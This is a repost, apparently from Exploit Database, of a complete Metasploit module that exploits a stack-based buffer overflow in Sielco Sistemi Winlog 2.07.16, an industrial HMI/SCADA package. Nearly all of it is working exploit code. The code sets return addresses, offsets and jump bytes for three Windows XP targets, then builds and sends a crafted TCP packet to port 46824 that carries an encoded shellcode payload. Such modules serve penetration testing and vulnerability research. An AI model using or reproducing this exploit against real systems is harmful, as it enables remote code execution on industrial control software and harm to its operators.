Sielco Sistemi Winlog 2.07.16 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 18 阅读

• 作者： James Fitts
  日期： 2017-09-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42694/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Sielco Sistemi Winlog <= 2.07.16',
  			'Description'=> %q{
  				This module exploits a stack based buffer overflow
  				found in Sielco Sistemi Winlog <= 2.07.16. The
  				overflow is triggered during the parsing of a
  				maliciously crafted packet
  			},
  			'Author' => [ 'James Fitts' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space' => 150,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'DisableNops' => 'True',
  					# add esp, -5500
  					'PrependEncoder' => "\x81\xc4\x84\xea\xff\xff",
  					'Compat'	=>
  						{
  							'SymbolLookup' => 'ws2ord',
  						}
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows XP SP3 EN (Automatic Washing System Demo)',
  							{
  								# vcldb40.bpl
  								# jmp esp
  								'Ret' => 0x46035f8b,
  								'Offset' => 160,
  								'jmp' => "\xe9\x56\xff\xff\xff",
  							}
  					],
  					[
  						'Windows XP SP3 EN (Car Simulation)',
  							{
  								# vcl40.bpl
  								# jmp esp
  								'Ret' => 0x4003eb6b,
  								'Offset' => 175,
  								'jmp' => "\xe9\x46\xff\xff\xff",
  							}
  					],
  					[ 
  						'Windows XP SP3 EN (Ceramics Kiln)', 
  							{ 
  								# ter19.dll
  								# push esp/ retn
  								'Ret' => 0x258b4432,
  								'Offset' => 176,
  								'jmp' => "\xe9\x46\xff\xff\xff",
  							} 
  					],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Jun 26 2012'))
  
  		register_options([Opt::RPORT(46824)], self.class)
  	end
  
  	def exploit
  		connect
  
  		boom =rand_text_alpha_upper(20)
  		boom << 'x'
  		boom << rand_text_alpha_upper(target['Offset'])
  		boom << [target.ret].pack('V')
  		boom << "\x41" * 4
  		boom << target['jmp']
  		boom << "\xcc" * (281 - boom.length)
  
  		boom[22,4] = "\x41" * 4
  		boom[26,payload.encoded.length] = payload.encoded
  
  		print_status("Trying target #{target.name}...")
  		sock.put(boom)
  
  		handler
  	end
  
  end